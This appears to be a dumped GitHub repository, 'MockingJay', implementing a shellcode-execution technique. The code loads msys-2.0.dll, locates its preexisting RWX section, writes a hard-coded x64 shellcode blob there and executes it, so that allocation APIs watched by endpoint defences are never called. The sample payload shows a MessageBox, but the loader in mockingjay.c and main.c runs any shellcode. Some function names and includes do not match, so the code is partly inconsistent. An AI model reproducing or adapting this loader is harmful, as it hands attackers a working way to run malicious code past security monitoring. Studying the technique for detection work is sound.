├── testrun.png ├── mockingjay.h ├── README.md ├── main.c └── mockingjay.c /testrun.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Kr0ff/MockingJay/main/testrun.png -------------------------------------------------------------------------------- /mockingjay.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // pStartAddress - Start address of the RWX section 6 | // dwSectionSize - Size of the RWX section 7 | typedef struct _MOCKINGJAY_INFO { 8 | LPVOID pStartAddress; 9 | DWORD dwSizeSection; 10 | } MOCKINGJAY_INFO; 11 | 12 | LPVOID DiscoverRWXSection(); 13 | int ExecuteMockingJay(unsigned char shellcode[], SIZE_T shellcodeSize); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MockingJay 2 | Shellcode execution by loading a "vulnerable" third-party module containing RWX section. 3 | 4 | This technique is well described by SecurityJoes ([Link](https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution)) 5 | In essence, the technique uses a vulnerable module loaded into processes such as `ssh.exe` and the `ssh.exe` from Visual Studio which contains a preallocated section `/4` with section protection of RWX. 6 | 7 | Since the module has that RWX section already created, the attacker is not required to follow the standard procedures of memory allocation and therefore prevent NTAPIs such as `NtAllocateVirtualMemory` or similar from being executed. As long as the shellcode is small enough to fit within the section, this technique can be levaraged. 8 | 9 | This is a small PoC ( for educational purposes only :) ) of self-injection by loading the `msys-2.0.dll` in the current process and writing the shellcode (MessageBox) in the start of the RWX section. Execution is done by function cast. 10 | 11 | ![](testrun.png) 12 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include "helpers.h" 2 | #include "mockingjay.h" 3 | 4 | unsigned char shellcode[] = 5 | "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" 6 | "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" 7 | "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" 8 | "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" 9 | "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" 10 | "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" 11 | "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" 12 | "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" 13 | "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" 14 | "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" 15 | "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" 16 | "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" 17 | "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" 18 | "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" 19 | "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" 20 | "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" 21 | "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" 22 | "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" 23 | "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" 24 | "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" 25 | "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" 26 | "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" 27 | "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" 28 | "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" 29 | "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" 30 | "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" 31 | "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" 32 | "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" 33 | "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3"; 34 | 35 | SIZE_T shellcodeSize = sizeof(shellcode); 36 | 37 | int main(int argc, char** argv) { 38 | printf("Staring mockingjay :)\n"); 39 | 40 | DoMockingJay(shellcode, shellcodeSize); 41 | 42 | printf("Press enter to continue..."); 43 | getchar(); 44 | 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /mockingjay.c: -------------------------------------------------------------------------------- 1 | #include "mockingjay.h" 2 | 3 | #define FAIL(x) (printf("[FAIL] Failed at ( %s )\n ", (char*)x)) 4 | #define SUCCESS(x) (printf("[SUCCESS] Succeeded running ( %s )\n", (char*)x)) 5 | 6 | #define NtCurrentProcess() ( (HANDLE) -1 ) 7 | 8 | // set a global variable to store the required values 9 | MOCKINGJAY_INFO gTargetDLLInfo; 10 | 11 | LPVOID DiscoverRWXSection() { 12 | 13 | // Load the vulnerable module in the current process 14 | HMODULE hVulnLib = LoadLibraryW(L"C:\\msys-2.0.dll"); 15 | if (!hVulnLib) { 16 | FAIL("LoadLibraryW"); 17 | printf("- Error: %d\n", GetLastError()); 18 | return NULL; 19 | } 20 | 21 | SUCCESS("LoadLibraryW"); 22 | printf("\t - Vuln Library Address ( %#p )\n", hVulnLib); 23 | 24 | // get section headers and look for section with RWX 25 | PIMAGE_DOS_HEADER vl_imgDos = (PIMAGE_DOS_HEADER)hVulnLib; 26 | PIMAGE_NT_HEADERS vl_NtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)vl_imgDos + vl_imgDos->e_lfanew); 27 | PIMAGE_SECTION_HEADER vl_SectionHdr = IMAGE_FIRST_SECTION(vl_NtHeaders); 28 | 29 | int i = 0; 30 | // loop through section to find RWX 31 | for (i; i < vl_NtHeaders->FileHeader.NumberOfSections; i++, vl_SectionHdr++) { 32 | if (vl_SectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE && vl_SectionHdr->Characteristics & IMAGE_SCN_MEM_READ && vl_SectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { 33 | 34 | // once info is found, store in the global variable struct 35 | gTargetDLLInfo.dwSizeSection = vl_SectionHdr->SizeOfRawData; 36 | gTargetDLLInfo.pStartAddress = (LPVOID)((DWORD_PTR)hVulnLib + vl_SectionHdr->VirtualAddress); 37 | 38 | /* 39 | printf("\t + Found Section with RWX: %s - %p - (Size: %d)\n", 40 | vl_SectionHdr->Name, ((DWORD_PTR)hVulnLib + vl_SectionHdr->VirtualAddress), vl_SectionHdr->SizeOfRawData); 41 | */ 42 | 43 | break; 44 | } 45 | } 46 | 47 | return NULL; 48 | } 49 | 50 | // Write the shellcode in the RWX section 51 | int ExecuteMockingJay(unsigned char shellcode[], SIZE_T shellcodeSize) { 52 | 53 | // Obtain the required values ( section start address + section size ) 54 | DiscoverRWXSection(); 55 | 56 | // Some info about the obtained values 57 | printf("+ INFO RWX Section:\n\ 58 | \t - START ADDRESS: %#p\n\ 59 | \t - SIZE: %d\n", gTargetDLLInfo.pStartAddress, gTargetDLLInfo.dwSizeSection 60 | ); 61 | 62 | // Copy the shellcode to the section 63 | printf("Press enter to write shellcode....\n"); 64 | getchar(); 65 | 66 | RtlMoveMemory(gTargetDLLInfo.pStartAddress, shellcode, shellcodeSize); 67 | 68 | // Cast a function to execute the shellcode 69 | printf("Press enter to execute shellcode....\n"); 70 | getchar(); 71 | 72 | ((void(*)())gTargetDLLInfo.pStartAddress)(); 73 | 74 | } 75 | --------------------------------------------------------------------------------